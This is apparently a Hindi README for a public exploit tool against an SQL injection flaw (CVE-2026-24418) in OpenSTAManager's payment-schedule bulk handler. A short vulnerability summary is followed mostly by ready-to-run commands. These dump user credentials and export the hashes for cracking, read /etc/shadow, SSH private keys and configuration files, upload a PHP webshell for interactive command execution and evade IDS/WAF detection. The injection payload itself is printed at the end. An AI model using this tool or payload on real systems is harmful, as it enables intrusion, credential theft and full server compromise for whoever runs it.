
OpenSTAManager v2.9.8 और इससे पहले के संस्करणों में Scadenzario (भुगतान अनुसूची) मॉड्यूल के लिए bulk operations handler में एक गंभीर Error-Based SQL Injection भेद्यता है।
OpenSTAManager <= 2.9.8 — स्कैडेनज़ारियो बल्क ऑपरेशन मॉड्यूल में एरर-आधारित SQL इंजेक्शन
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-24418 |
| गंभीरता | उच्च (8.8) |
| CWE | CWE-89: SQL इंजेक्शन |
| प्रभावित संस्करण | OpenSTAManager <= 2.9.8 |
| कमजोर पैरामीटर | id_records[] (POST array) |
| कमजोर एंडपॉइंट | /actions.php?id_module=18 |
| हमले का प्रकार | एरर-आधारित SQL इंजेक्शन (EXTRACTVALUE) |
| प्रमाणीकरण | आवश्यक (कोई भी वैध उपयोगकर्ता खाता) |
OpenSTAManager v2.9.8 और इसके पहले के संस्करणों में स्कैडेनज़ारियो (भुगतान अनुसूची) मॉड्यूल के बल्क ऑपरेशन हैंडलर में एक गंभीर एरर-आधारित SQL इंजेक्शन कमजोरी है। एप्लिकेशन यह सत्यापित करने में विफल रहता है कि id_records[] array के तत्व SQL IN() क्लॉज में उपयोग करने से पहले पूर्णांक हैं या नहीं, जिससे प्रमाणित हमलावर मनमानी SQL कमांड इंजेक्ट कर सकते हैं और XPATH त्रुटि संदेशों के माध्यम से संवेदनशील डेटा निकाल सकते हैं।
/actions.php POST के माध्यम से id_records[] प्राप्त करता हैarray_clean() केवल खाली मानों को हटाता है, डेटा प्रकारों को मान्य नहीं करता/modules/scadenzario/bulk.php असैनिटाइज्ड मानों को सीधे SQL IN() क्लॉज में पास करता है| सुविधा | विवरण |
|---|---|
--info | डेटाबेस सर्वर फिंगरप्रिंटिंग (संस्करण, उपयोगकर्ता, होस्टनाम, OS, पथ) |
--privs | MySQL विशेषाधिकार गणना (FILE, SUPER, PROCESS) |
--users | zz_users से पूर्ण क्रेडेंशियल डंप, स्वचालित हैश निर्यात के साथ |
--dbs | सभी सुलभ डेटाबेस गिनें |
--tables | पंक्ति गणना के साथ तालिकाएँ सूचीबद्ध करें |
--columns | प्रकार और nullable जानकारी के साथ कॉलम सूचीबद्ध करें |
--dump | किसी भी तालिका/कॉलम से डेटा निष्कर्षण |
--sql | कस्टम SQL क्वेरी निष्पादन |
--file-read | LOAD_FILE() के माध्यम से सर्वर फ़ाइलें पढ़ें (/etc/passwd, कॉन्फ़िग फ़ाइलें, SSH कुंजियाँ) |
--file-read-hex | फ़िल्टर को बायपास करने के लिए HEX-एनकोडेड फ़ाइल पढ़ना |
--webshell | INTO DUMPFILE के माध्यम से PHP वेबशेल अपलोड करें |
--rce | अपलोड की गई वेबशेल के माध्यम से इंटरैक्टिव कमांड निष्पादन |
-o / --output | सभी परिणाम JSON, CSV, और hashcat/john प्रारूपों में सहेजें |
--proxy | HTTP प्रॉक्सी समर्थन (Burp Suite) |
--delay | IDS/WAF चोरी के लिए अनुरोध थ्रॉटलिंग |
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# क्रेडेंशियल्स के साथ लॉगिन
python3 exploit.py -t http://target.com -u admin -p password --info
# मौजूदा सत्र कुकी का उपयोग करें
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# डेटाबेस जानकारी + विशेषाधिकार + उपयोगकर्ता क्रेडेंशियल्स
python3 exploit.py -t http://target.com -u admin -p secret --all
# MySQL विशेषाधिकार जाँचें (FILE, SUPER, आदि)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# उपयोगकर्ताओं को डंप करें और हैश स्वचालित रूप से निर्यात करें
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# आउटपुट फ़ाइलें:
# ./loot/users.json - पूर्ण उपयोगकर्ता डेटा
# ./loot/users.csv - CSV प्रारूप
# ./loot/hashes_hashcat.txt - Hashcat प्रारूप (मोड 3200)
# ./loot/hashes_john.txt - John प्रारूप (user:hash)
# सभी डेटाबेस सूचीबद्ध करें
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# किसी विशिष्ट डेटाबेस में तालिकाएँ सूचीबद्ध करें
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# तालिका के कॉलम सूचीबद्ध करें
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# पंक्ति सीमा के साथ विशिष्ट कॉलम डंप करें
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# /etc/passwd पढ़ें
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# एप्लिकेशन कॉन्फ़िग (डेटाबेस क्रेडेंशियल्स) पढ़ें
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# SSH कुंजियाँ पढ़ें
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEX मोड (वर्ण फ़िल्टर बायपास)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# वेबशेल अपलोड करें (स्वचालित रूप से वेबरूट का पता लगाता है)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# विशिष्ट वेबरूट के साथ वेबशेल अपलोड करें
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# इंटरैक्टिव शेल सत्र
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE स्वचालित रूप से वेबशेल अपलोड करेगा यदि कोई मौजूद नहीं है
# सब कुछ एक निर्देशिका में सहेजें
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# उत्पन्न फ़ाइलें:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Burp Suite प्रॉक्सी के माध्यम से
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# अनुरोध विलंब के साथ (अनुरोधों के बीच 2 सेकंड)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# SSL सत्यापन छोड़ें
python3 exploit.py -t https://target.com -u admin -p secret --info -k
Target:
-t, --target लक्ष्य आधार URL
प्रमाणीकरण:
-u, --user लॉगिन के लिए उपयोगकर्ता नाम
-p, --password लॉगिन के लिए पासवर्ड
-c, --cookie मौजूदा PHPSESSID मान
गणना:
-D, --database लक्ष्य डेटाबेस नाम
-T, --table लक्ष्य तालिका नाम
-C, --columns-list डंप करने के लिए कॉलम (अल्पविराम से अलग)
--limit डंप के लिए पंक्ति सीमा
कार्रवाइयाँ:
--info डेटाबेस सर्वर जानकारी
--users zz_users क्रेडेंशियल डंप करें
--dbs डेटाबेस गिनें
--tables तालिकाएँ सूचीबद्ध करें
--columns कॉलम सूचीबद्ध करें (-T आवश्यक)
--dump डेटा डंप करें (-T और -C आवश्यक)
--sql QUERY कस्टम SQL क्वेरी
--all --info + --privs + --users चलाएँ
--privs MySQL विशेषाधिकार जाँचें
फ़ाइल संचालन:
--file-read PATH LOAD_FILE() के माध्यम से फ़ाइल पढ़ें
--file-read-hex PATH HEX एन्कोडिंग के माध्यम से फ़ाइल पढ़ें
रिमोट कोड निष्पादन:
--webshell PHP वेबशेल अपलोड करें
--webroot PATH शेल अपलोड के लिए वेबरूट पथ
--rce इंटरैक्टिव कमांड निष्पादन
आउटपुट:
-o, --output DIR परिणाम निर्देशिका में सहेजें
नेटवर्क:
-m, --module-id मॉड्यूल ID (डिफ़ॉल्ट: 18)
--proxy HTTP प्रॉक्सी URL
-k, --no-ssl-verify SSL सत्यापन अक्षम करें
--delay सेकंड में अनुरोध विलंब
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
MySQL का EXTRACTVALUE() XPATH त्रुटियों के माध्यम से अधिकतम ~32 वर्ण लौटाता है। उपकरण स्वचालित रूप से SUBSTRING() का उपयोग करके लंबे परिणामों को टुकड़ों में विभाजित करता है:
SUBSTRING((<query>), 1, 31) -- Chunk 1
SUBSTRING((<query>), 32, 31) -- Chunk 2
...